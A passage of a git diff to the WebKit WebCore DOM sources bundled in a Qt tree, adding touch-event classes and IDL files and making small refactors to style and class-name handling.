+        void createVector();
+
+        typedef Vector<AtomicString, 8> StringVector;
+        String m_string;
+        StringVector m_vector;
+        bool m_shouldFoldCase;
+        bool m_createdVector;
+    };
+
+    class SpaceSplitString {
+    public:
+        SpaceSplitString() { }
+        SpaceSplitString(const String& string, bool shouldFoldCase) : m_data(new SpaceSplitStringData(string, shouldFoldCase)) { }
+
+        void set(const String& string, bool shouldFoldCase) { m_data.set(new SpaceSplitStringData(string, shouldFoldCase)); }
+        void clear() { m_data.clear(); }
+
+        bool contains(const AtomicString& string) const { return m_data && m_data->contains(string); }
+        bool containsAll(const SpaceSplitString& names) const { return !names.m_data || (m_data && m_data->containsAll(*names.m_data)); }
+
+        size_t size() const { return m_data ? m_data->size() : 0; }
+        const AtomicString& operator[](size_t i) const { ASSERT(i < size()); return (*m_data)[i]; }
+
+    private:
+        OwnPtr<SpaceSplitStringData> m_data;
+    };
+
+    inline bool isClassWhitespace(UChar c)
+    {
+        return c == ' ' || c == '\r' || c == '\n' || c == '\t' || c == '\f';
+    }
+
+} // namespace WebCore
+
+#endif // SpaceSplitString_h
diff --git a/src/3rdparty/webkit/WebCore/dom/StyleElement.cpp b/src/3rdparty/webkit/WebCore/dom/StyleElement.cpp
index a21959d..f881179 100644
--- a/src/3rdparty/webkit/WebCore/dom/StyleElement.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/StyleElement.cpp
@@ -103,7 +103,7 @@ void StyleElement::createSheet(Element* e, const String& text)
         if (screenEval.eval(mediaList.get()) || printEval.eval(mediaList.get())) {
             document->addPendingSheet();
             setLoading(true);
-            m_sheet = CSSStyleSheet::create(e, String(), document->inputEncoding());
+            m_sheet = CSSStyleSheet::create(e, String(), KURL(), document->inputEncoding());
             m_sheet->parseString(text, !document->inCompatMode());
             m_sheet->setMedia(mediaList.get());
             m_sheet->setTitle(e->title());
diff --git a/src/3rdparty/webkit/WebCore/dom/StyleElement.h b/src/3rdparty/webkit/WebCore/dom/StyleElement.h
index 7f83909..9d3ac84 100644
--- a/src/3rdparty/webkit/WebCore/dom/StyleElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/StyleElement.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2006, 2007 Rob Buis
  *
  * This library is free software; you can redistribute it and/or
diff --git a/src/3rdparty/webkit/WebCore/dom/StyledElement.cpp b/src/3rdparty/webkit/WebCore/dom/StyledElement.cpp
index 46ce137..3607963 100644
--- a/src/3rdparty/webkit/WebCore/dom/StyledElement.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/StyledElement.cpp
@@ -234,7 +234,7 @@ void StyledElement::classAttributeChanged(const AtomicString& newClassString)
 
 void StyledElement::parseMappedAttribute(MappedAttribute *attr)
 {
-    if (attr->name() == idAttr) {
+    if (attr->name() == idAttributeName()) {
         // unique id
         setHasID(!attr->isNull());
         if (namedAttrMap) {
@@ -346,7 +346,7 @@ void StyledElement::addCSSColor(MappedAttribute* attr, int id, const String& c)
     // not something that fits the specs.
     
     // we're emulating IEs color parser here. It maps transparent to black, otherwise it tries to build a rgb value
-    // out of everyhting you put in. The algorithm is experimentally determined, but seems to work for all test cases I have.
+    // out of everything you put in. The algorithm is experimentally determined, but seems to work for all test cases I have.
     
     // the length of the color value is rounded up to the next
     // multiple of 3. each part of the rgb triple then gets one third
diff --git a/src/3rdparty/webkit/WebCore/dom/StyledElement.h b/src/3rdparty/webkit/WebCore/dom/StyledElement.h
index 85fa7a7..52bffd3 100644
--- a/src/3rdparty/webkit/WebCore/dom/StyledElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/StyledElement.h
@@ -66,7 +66,7 @@ public:
     CSSStyleDeclaration* style();
     void invalidateStyleAttribute();
 
-    const ClassNames& classNames() const { ASSERT(hasClass()); ASSERT(mappedAttributes()); return mappedAttributes()->classNames(); }
+    const SpaceSplitString& classNames() const { ASSERT(hasClass()); ASSERT(mappedAttributes()); return mappedAttributes()->classNames(); }
 
     virtual bool mapToEntry(const QualifiedName& attrName, MappedAttributeEntry& result) const;
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Text.idl b/src/3rdparty/webkit/WebCore/dom/Text.idl
index 1b0009d..116eab7 100644
--- a/src/3rdparty/webkit/WebCore/dom/Text.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Text.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=4EA6B89C-F8E5-462a-A807-519446123184,
-        ImplementationUUID=CB5D61CB-D30D-486e-9BD7-F42B7611C2E5
-    ] Text : CharacterData {
+    interface Text : CharacterData {
 
         // DOM Level 1
 
diff --git a/src/3rdparty/webkit/WebCore/dom/TextEvent.idl b/src/3rdparty/webkit/WebCore/dom/TextEvent.idl
index 779afd1..83b0e3b 100644
--- a/src/3rdparty/webkit/WebCore/dom/TextEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/TextEvent.idl
@@ -26,9 +26,7 @@
 module events {
 
     // Introduced in DOM Level 3:
-    interface [
-        GenerateConstructor
-    ] TextEvent : UIEvent {
+    interface TextEvent : UIEvent {
 
         readonly attribute DOMString data;
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Tokenizer.h b/src/3rdparty/webkit/WebCore/dom/Tokenizer.h
index ea303f9..9a9b7b3 100644
--- a/src/3rdparty/webkit/WebCore/dom/Tokenizer.h
+++ b/src/3rdparty/webkit/WebCore/dom/Tokenizer.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2000 Peter Kelly (pmk@post.com)
  * Copyright (C) 2005, 2006 Apple Computer, Inc.
  * Copyright (C) 2007 Samuel Weinig (sam@webkit.org)
@@ -30,7 +28,7 @@ namespace WebCore {
     class SegmentedString;
     class XSSAuditor;
 
-    class Tokenizer {
+    class Tokenizer : public Noncopyable {
     public:
         virtual ~Tokenizer() { }
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Touch.cpp b/src/3rdparty/webkit/WebCore/dom/Touch.cpp
new file mode 100644
index 0000000..4ea83da
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/Touch.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "Touch.h"
+
+#include "FrameView.h"
+
+namespace WebCore {
+
+static int contentsX(Frame* frame)
+{
+    if (!frame)
+        return 0;
+    FrameView* frameView = frame->view();
+    if (!frameView)
+        return 0;
+    return frameView->scrollX() / frame->pageZoomFactor();
+}
+
+static int contentsY(Frame* frame)
+{
+    if (!frame)
+        return 0;
+    FrameView* frameView = frame->view();
+    if (!frameView)
+        return 0;
+    return frameView->scrollY() / frame->pageZoomFactor();
+}
+
+Touch::Touch(Frame* frame, EventTarget* target, unsigned identifier, 
+        int screenX, int screenY, int pageX, int pageY)
+    : m_target(target)
+    , m_identifier(identifier)
+    , m_clientX(pageX - contentsX(frame))
+    , m_clientY(pageY - contentsY(frame))
+    , m_screenX(screenX)
+    , m_screenY(screenY)
+    , m_pageX(pageX)
+    , m_pageY(pageY)
+{
+}
+
+} // namespace WebCore
+
+#endif
+
diff --git a/src/3rdparty/webkit/WebCore/dom/Touch.h b/src/3rdparty/webkit/WebCore/dom/Touch.h
new file mode 100644
index 0000000..ceb8ae7
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/Touch.h
@@ -0,0 +1,75 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef TOUCH_H_
+#define TOUCH_H_
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "EventTarget.h"
+#include "Frame.h"
+#include <wtf/PassRefPtr.h>
+#include <wtf/RefCounted.h>
+#include <wtf/RefPtr.h>
+
+namespace WebCore {
+
+class Touch : public RefCounted<Touch> {
+public:
+    static PassRefPtr<Touch> create(Frame* frame, EventTarget* target,
+            unsigned identifier, int screenX, int screenY, int pageX, int pageY)
+    {
+        return adoptRef(new Touch(frame, target, identifier, screenX, 
+                screenY, pageX, pageY));
+    }
+
+    EventTarget* target() const { return m_target.get(); }
+    unsigned identifier() const { return m_identifier; }
+    int clientX() const { return m_clientX; }
+    int clientY() const { return m_clientY; }
+    int screenX() const { return m_screenX; }
+    int screenY() const { return m_screenY; }
+    int pageX() const { return m_pageX; }
+    int pageY() const { return m_pageY; }
+
+private:
+    Touch(Frame* frame, EventTarget* target, unsigned identifier,
+            int screenX, int screenY, int pageX, int pageY);
+
+    RefPtr<EventTarget> m_target;
+    unsigned m_identifier;
+    int m_clientX;
+    int m_clientY;
+    int m_screenX;
+    int m_screenY;
+    int m_pageX;
+    int m_pageY;
+};
+
+} // namespace WebCore
+
+#endif // ENABLE(TOUCH_EVENTS)
+
+#endif /* TOUCH_H_ */
diff --git a/src/3rdparty/webkit/WebCore/dom/Touch.idl b/src/3rdparty/webkit/WebCore/dom/Touch.idl
new file mode 100644
index 0000000..1afc63a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/Touch.idl
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+module events {
+
+    interface [
+        Conditional=TOUCH_EVENTS
+    ] Touch {
+        readonly attribute long             clientX;
+        readonly attribute long             clientY;
+        readonly attribute long             screenX;
+        readonly attribute long             screenY;
+        readonly attribute long             pageX;
+        readonly attribute long             pageY;
+        readonly attribute EventTarget      target;
+        readonly attribute unsigned long    identifier;
+    };
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchEvent.cpp b/src/3rdparty/webkit/WebCore/dom/TouchEvent.cpp
new file mode 100644
index 0000000..bcc395f
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchEvent.cpp
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "TouchEvent.h"
+
+namespace WebCore {
+
+TouchEvent::TouchEvent(TouchList* touches, TouchList* targetTouches,
+        TouchList* changedTouches, const AtomicString& type, 
+        PassRefPtr<AbstractView> view, int screenX, int screenY, int pageX, int pageY,
+        bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
+    : MouseRelatedEvent(type, true, true, view, 0, screenX, screenY, pageX, pageY,
+                        ctrlKey, altKey, shiftKey, metaKey)
+    , m_touches(touches)
+    , m_targetTouches(targetTouches)
+    , m_changedTouches(changedTouches)
+{
+}
+
+void TouchEvent::initTouchEvent(TouchList* touches, TouchList* targetTouches,
+        TouchList* changedTouches, const AtomicString& type, 
+        PassRefPtr<AbstractView> view, int screenX, int screenY, int clientX, int clientY,
+        bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
+{
+    if (dispatched())
+        return;
+
+    initUIEvent(type, true, true, view, 0);
+
+    m_screenX = screenX;
+    m_screenY = screenY;
+    m_ctrlKey = ctrlKey;
+    m_altKey = altKey;
+    m_shiftKey = shiftKey;
+    m_metaKey = metaKey;
+    initCoordinates(clientX, clientY);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(TOUCH_EVENTS)
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchEvent.h b/src/3rdparty/webkit/WebCore/dom/TouchEvent.h
new file mode 100644
index 0000000..080a495
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchEvent.h
@@ -0,0 +1,82 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef TouchEvent_h
+#define TouchEvent_h
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "MouseRelatedEvent.h"
+#include "TouchList.h"
+
+namespace WebCore {
+
+class TouchEvent : public MouseRelatedEvent {
+public:
+    static PassRefPtr<TouchEvent> create()
+    {
+        return adoptRef(new TouchEvent);
+    }
+    static PassRefPtr<TouchEvent> create(TouchList* touches, 
+            TouchList* targetTouches, TouchList* changedTouches, 
+            const AtomicString& type, PassRefPtr<AbstractView> view,
+            int screenX, int screenY, int pageX, int pageY,
+            bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
+    {
+        return adoptRef(new TouchEvent(touches, targetTouches, changedTouches,
+                type, view, screenX, screenY, pageX, pageY,
+                ctrlKey, altKey, shiftKey, metaKey));
+    }
+
+    void initTouchEvent(TouchList* touches, TouchList* targetTouches,
+            TouchList* changedTouches, const AtomicString& type, 
+            PassRefPtr<AbstractView> view, int screenX, int screenY, 
+            int clientX, int clientY,
+            bool ctrlKey, bool altKey, bool shiftKey, bool metaKey);
+
+    TouchList* touches() const { return m_touches.get(); }
+    TouchList* targetTouches() const { return m_targetTouches.get(); }
+    TouchList* changedTouches() const { return m_changedTouches.get(); }
+
+private:
+    TouchEvent() {}
+    TouchEvent(TouchList* touches, TouchList* targetTouches,
+            TouchList* changedTouches, const AtomicString& type,
+            PassRefPtr<AbstractView>, int screenX, int screenY, int pageX,
+            int pageY,
+            bool ctrlKey, bool altKey, bool shiftKey, bool metaKey);
+
+    virtual bool isTouchEvent() const { return true; }
+
+    RefPtr<TouchList> m_touches;
+    RefPtr<TouchList> m_targetTouches;
+    RefPtr<TouchList> m_changedTouches;
+};
+
+} // namespace WebCore
+
+#endif // ENABLE(TOUCH_EVENTS)
+
+#endif // TouchEvent_h
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchEvent.idl b/src/3rdparty/webkit/WebCore/dom/TouchEvent.idl
new file mode 100644
index 0000000..0e0d917
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchEvent.idl
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+module events {
+
+    interface [
+        Conditional=TOUCH_EVENTS
+    ] TouchEvent : UIEvent {
+        readonly attribute TouchList touches;
+        readonly attribute TouchList targetTouches;
+        readonly attribute TouchList changedTouches;
+        readonly attribute boolean ctrlKey;
+        readonly attribute boolean shiftKey;
+        readonly attribute boolean altKey;
+        readonly attribute boolean metaKey;
+
+        void initTouchEvent(in TouchList touches,
+                            in TouchList targetTouches,
+                            in TouchList changedTouches,
+                            in DOMString type,
+                            in DOMWindow view,
+                            in long screenX, 
+                            in long screenY, 
+                            in long clientX, 
+                            in long clientY,
+                            in boolean ctrlKey,
+                            in boolean altKey,
+                            in boolean shiftKey,
+                            in boolean metaKey);
+    };
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchList.cpp b/src/3rdparty/webkit/WebCore/dom/TouchList.cpp
new file mode 100644
index 0000000..4167e42
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchList.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "TouchList.h"
+
+namespace WebCore {
+
+Touch* TouchList::item(unsigned index)
+{
+    if (index >= m_values.size())
+        return 0;
+    return m_values[index].get();
+}
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchList.h b/src/3rdparty/webkit/WebCore/dom/TouchList.h
new file mode 100644
index 0000000..61350b0
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchList.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef TOUCHLIST_H_
+#define TOUCHLIST_H_
+
+#if ENABLE(TOUCH_EVENTS)
+
+#include "Touch.h"
+#include <wtf/RefCounted.h>
+#include <wtf/Vector.h>
+
+namespace WebCore {
+
+class TouchList : public RefCounted<TouchList> {
+public:
+    static PassRefPtr<TouchList> create()
+    {
+        return adoptRef(new TouchList);
+    }
+
+    unsigned length() const { return m_values.size(); }
+
+    Touch* item(unsigned);
+
+    void append(const PassRefPtr<Touch> touch) { m_values.append(touch); }
+
+private:
+    TouchList() {}
+
+    Vector<RefPtr<Touch> > m_values;
+};
+
+} // namespace WebCore
+
+#endif // ENABLE(TOUCH_EVENTS)
+
+#endif /* TOUCHLIST_H_ */
diff --git a/src/3rdparty/webkit/WebCore/dom/TouchList.idl b/src/3rdparty/webkit/WebCore/dom/TouchList.idl
new file mode 100644
index 0000000..ede7bf2
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/TouchList.idl
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2008, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+module events {
+
+    interface [
+        Conditional=TOUCH_EVENTS,
+        HasIndexGetter
+    ] TouchList {
+        readonly attribute unsigned long length;
+
+        Touch item(in unsigned long index);
+    };
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/TransformSourceLibxslt.cpp b/src/3rdparty/webkit/WebCore/dom/TransformSourceLibxslt.cpp
index 33a85e8..e058438 100644
